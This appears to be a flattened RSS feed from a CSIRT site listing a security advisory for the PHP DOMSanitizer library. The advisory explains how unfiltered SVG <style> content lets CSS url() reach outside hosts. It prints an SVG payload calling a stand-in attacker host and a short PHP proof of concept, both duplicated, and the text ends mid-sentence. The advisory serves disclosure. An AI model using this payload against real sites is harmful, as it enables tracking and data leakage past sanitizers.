https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 01:39:21 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-292019 EUVD-2026-292019 https://cve.radiocsirt.org/vuln/euvd-2026-292019 https://cve.radiocsirt.org/vuln/fkie_cve-2026-40301 <p>DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows &lt;style&gt; elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.</p> <p>DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows &lt;style&gt; elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-40301 https://cve.radiocsirt.org/vuln/ghsa-93vf-569f-22cq <p><strong>Affected:</strong> Packagist: rhukster/dom-sanitizer</p> <p>### Summary DOMSanitizer::sanitize() allows &lt;style&gt; elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.</p> <p>### Details In src/DOMSanitizer.php, &#39;style&#39; is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of &lt;style&gt; elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.</p> <p>Vulnerable code (src/DOMSanitizer.php, line 31): ```php &#39;svg&#39; =&gt; [&#39;style&#39;, &#39;path&#39;, &#39;rect&#39;, &#39;circle&#39;, ...], ```</p> <p>The following payload survives sanitize() intact: ```svg &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt; &lt;style&gt;* { background: url(https://attacker.example/collect); }&lt;/style&gt; &lt;/svg&gt; ```</p> <p>### PoC ```php &lt;?php require &#39;vendor/autoload.php&#39;; use Rhukster\DomSanitizer\DOMSanitizer;</p> <p>$svg = &#39;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;style&gt;* { background: url(https://attacker.example/collect); }&lt;/style&gt;&lt;/svg&gt;&#39;; $sanitizer = new DOMSanitizer(DOMSanitizer::SVG); $output = $sanitizer-&gt;sanitize($svg); echo $output; // &lt;style&gt; with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg) ```</p> <p>Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.</p> <p>### Impact A…</p> <p><strong>Affected:</strong> Packagist: rhukster/dom-sanitizer</p> <p>### Summary DOMSanitizer::sanitize() allows &lt;style&gt; elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.</p> <p>### Details In src/DOMSanitizer.php, &#39;style&#39; is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of &lt;style&gt; elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.</p> <p>Vulnerable code (src/DOMSanitizer.php, line 31): ```php &#39;svg&#39; =&gt; [&#39;style&#39;, &#39;path&#39;, &#39;rect&#39;, &#39;circle&#39;, ...], ```</p> <p>The following payload survives sanitize() intact: ```svg &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt; &lt;style&gt;* { background: url(https://attacker.example/collect); }&lt;/style&gt; &lt;/svg&gt; ```</p> <p>### PoC ```php &lt;?php require &#39;vendor/autoload.php&#39;; use Rhukster\DomSanitizer\DOMSanitizer;</p> <p>$svg = &#39;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;style&gt;* { background: url(https://attacker.example/collect); }&lt;/style&gt;&lt;/svg&gt;&#39;; $sanitizer = new DOMSanitizer(DOMSanitizer::SVG); $output = $sanitizer-&gt;sanitize($svg); echo $output; // &lt;style&gt; with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg) ```</p> <p>Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.</p> <p>### Impact A…</p> https://cve.radiocsirt.org/vuln/ghsa-93vf-569f-22cq